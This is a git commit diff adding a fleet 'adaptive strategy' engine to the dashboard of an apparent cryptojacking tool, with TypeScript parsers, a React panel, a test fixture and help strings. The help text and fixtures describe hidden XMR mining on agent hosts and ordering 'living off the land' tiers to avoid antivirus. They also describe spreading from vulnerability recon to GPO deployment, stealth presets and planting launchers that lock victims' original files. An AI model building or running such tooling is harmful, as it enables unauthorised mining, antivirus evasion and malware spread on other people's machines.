Add fleet adaptive strategy engine for proactive LOTL tier ordering
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 01:15:18 -07:00
parent 047d5c7252
commit 85376eac7c
23 changed files with 1141 additions and 6 deletions

View File

@@ -155,6 +155,31 @@ describe('AccessDepthPanel', () => {
expect(await screen.findByText('WinRM')).toBeInTheDocument();
});
it('renders adaptive strategy reasoning fixtures', () => {
renderPanel(
mockAgent({ platform: 'windows', status: 'online' }),
parseAccessDepthDiagnostics({
adaptive_strategy: {
tier_order: ['container', 'docker_load', 'wsl', 'cpu_inprocess'],
skip_tiers: ['exe_subprocess'],
confidence: 0.72,
reasoning: [
{
fact: 'Docker runtime available on Windows host',
inference: 'Container tier isolates miner from AV friction',
action: 'Prefer container before raw subprocess',
},
],
},
}),
);
expect(screen.getByText('Strategy')).toBeInTheDocument();
expect(screen.getByText('Adaptive')).toBeInTheDocument();
expect(screen.getByText('AI path')).toBeInTheDocument();
expect(screen.getByText(/Docker runtime available/i)).toBeInTheDocument();
expect(screen.getByText(/confidence 72%/i)).toBeInTheDocument();
});
it('shows pending chain when tiers not yet attempted', () => {
renderPanel(
mockAgent({

View File

@@ -161,10 +161,36 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
</div>
</div>
{model.strategyReasoning.length > 0 && (
<div className="access-depth-section access-depth-strategy-block">
<div className="access-depth-section-title">
Strategy
{model.adaptiveActive && (
<span className="access-depth-tag access-depth-tag--active access-depth-adaptive-badge">Adaptive</span>
)}
</div>
<ul className="access-depth-strategy-list">
{model.strategyReasoning.map((row, i) => (
<li key={`${row.action}-${i}`} className="access-depth-strategy-row">
<span className="access-depth-strategy-fact">{row.fact}</span>
<span className="access-depth-strategy-inference">{row.inference}</span>
<span className="access-depth-strategy-action">{row.action}</span>
</li>
))}
</ul>
{typeof model.adaptiveConfidence === 'number' && (
<div className="access-depth-meta">confidence {Math.round(model.adaptiveConfidence * 100)}%</div>
)}
</div>
)}
<div className="access-depth-section access-depth-onion-block">
<div className="access-depth-section-title">
Effective onion order
<span className="access-depth-source">({model.miningOrderSource})</span>
{model.adaptiveActive && (
<span className="access-depth-tag access-depth-tag--active access-depth-adaptive-badge">AI path</span>
)}
</div>
<div className="access-depth-onion-columns">
<div>

View File

@@ -13,6 +13,20 @@ export interface EnvironmentProbes {
webview2?: boolean;
}
export interface StrategyReason {
fact: string;
inference: string;
action: string;
}
export interface AdaptiveStrategyView {
tier_order?: string[];
skip_tiers?: string[];
reasoning?: StrategyReason[];
confidence?: number;
updated_at?: string;
}
export interface AccessDepthDiagnostics {
environment_probes?: EnvironmentProbes;
tier_chain_order?: string[];
@@ -21,6 +35,8 @@ export interface AccessDepthDiagnostics {
lotl_attempts?: TierAttempt[];
active_method?: string;
execution_mode?: string;
adaptive_strategy?: AdaptiveStrategyView;
strategy_reasoning?: StrategyReason[];
}
export interface AccessDepthServerPolicy {
@@ -72,7 +88,10 @@ export interface AccessDepthModel {
miningOnion: OnionTierRow[];
spreadOnion: OnionTierRow[];
tripleOnionSummary?: string;
miningOrderSource: 'agent' | 'server' | 'default';
miningOrderSource: 'agent' | 'server' | 'default' | 'adaptive';
adaptiveActive: boolean;
strategyReasoning: StrategyReason[];
adaptiveConfidence?: number;
}
/** Default mining tier onion pushed at agent auth when Calibrate sends no override. */
@@ -122,6 +141,9 @@ export function parseAccessDepthDiagnostics(raw: Record<string, unknown>): Acces
(typeof raw.active_tier === 'string' && raw.active_tier) ||
undefined;
const adaptive = parseAdaptiveStrategy(raw.adaptive_strategy);
const reasoning = parseStrategyReasoning(raw.strategy_reasoning) ?? adaptive?.reasoning;
return {
environment_probes: parseEnvironmentProbes(raw.environment_probes),
tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined,
@@ -130,9 +152,44 @@ export function parseAccessDepthDiagnostics(raw: Record<string, unknown>): Acces
lotl_attempts: attempts.length ? attempts : undefined,
active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined,
execution_mode: typeof raw.execution_mode === 'string' ? raw.execution_mode : undefined,
adaptive_strategy: adaptive,
strategy_reasoning: reasoning,
};
}
function parseStrategyReasoning(raw: unknown): StrategyReason[] | undefined {
if (!Array.isArray(raw)) return undefined;
const out: StrategyReason[] = [];
for (const row of raw) {
if (!row || typeof row !== 'object') continue;
const r = row as Record<string, unknown>;
if (typeof r.fact !== 'string' || typeof r.inference !== 'string' || typeof r.action !== 'string') continue;
out.push({ fact: r.fact, inference: r.inference, action: r.action });
}
return out.length ? out : undefined;
}
function parseAdaptiveStrategy(raw: unknown): AdaptiveStrategyView | undefined {
if (!raw || typeof raw !== 'object') return undefined;
const row = raw as Record<string, unknown>;
const tier_order = Array.isArray(row.tier_order)
? row.tier_order.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
: undefined;
const skip_tiers = Array.isArray(row.skip_tiers)
? row.skip_tiers.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
: undefined;
const reasoning = parseStrategyReasoning(row.reasoning);
const confidence = typeof row.confidence === 'number' ? row.confidence : undefined;
const updated_at = typeof row.updated_at === 'string' ? row.updated_at : undefined;
if (!tier_order?.length && !reasoning?.length) return undefined;
return { tier_order, skip_tiers, reasoning, confidence, updated_at };
}
function ordersDiffer(a: readonly string[], b: readonly string[]): boolean {
if (a.length !== b.length) return true;
return a.some((tier, i) => tier.toLowerCase() !== b[i]?.toLowerCase());
}
function platformLabel(platform?: string): string {
const p = (platform || '').toLowerCase();
if (p.includes('darwin') || p.includes('mac')) return 'macOS';
@@ -199,7 +256,17 @@ function resolveMiningOrder(
diag: AccessDepthDiagnostics | undefined,
policy: AccessDepthServerPolicy | undefined,
agent: Agent,
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' } {
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } {
if (diag?.adaptive_strategy?.tier_order?.length) {
const adaptiveOrder = diag.adaptive_strategy.tier_order;
if (ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER) || (diag.strategy_reasoning?.length ?? 0) > 0) {
return {
order: adaptiveOrder,
skipped: diag.adaptive_strategy.skip_tiers ?? diag.tier_chain_skipped ?? [],
source: 'adaptive',
};
}
}
if (diag?.tier_chain_order?.length) {
return {
order: diag.tier_chain_order,
@@ -341,6 +408,9 @@ export function buildAccessDepthModel(
})),
tripleOnionSummary: `recon: ${recon.slice(0, 3).join(' → ')}… · deploy: ${deploy.slice(0, 3).join(' → ')}`,
miningOrderSource: source,
adaptiveActive: source === 'adaptive',
strategyReasoning: diagnostics?.strategy_reasoning ?? diagnostics?.adaptive_strategy?.reasoning ?? [],
adaptiveConfidence: diagnostics?.adaptive_strategy?.confidence,
};
}

View File

@@ -1,5 +1,9 @@
/** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
/** Mining tier order can be personalized per host by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies. */
export const ADAPTIVE_STRATEGY_HELP =
'Mining tier order can be personalized per host fingerprint by the fleet adaptive engine (Crucible → Access Depth → Strategy). Spread lotl_onion_tiers in Calibrate still control deploy contingencies.';
export const DEFAULT_LOTL_ONION_TIERS = [
'vuln_recon',
'docker',

View File

@@ -28,6 +28,10 @@ export const FIELD_HELP: Record<string, string> = {
'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.',
forge_lotl_onion:
'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
adaptive_strategy:
'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on).',
lotl_onion_tiers:
'Ordered spread contingency chain for LOTL Onion forges with lotl_policy_from_server. Mining tier order is separate (mining_tier_policy / adaptive_strategy). Spread tiers apply on reconnect without re-forge; adaptive strategy can reorder mining tiers proactively from fleet stats.',
forge_path_forge:
'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
forge_recommended_defaults: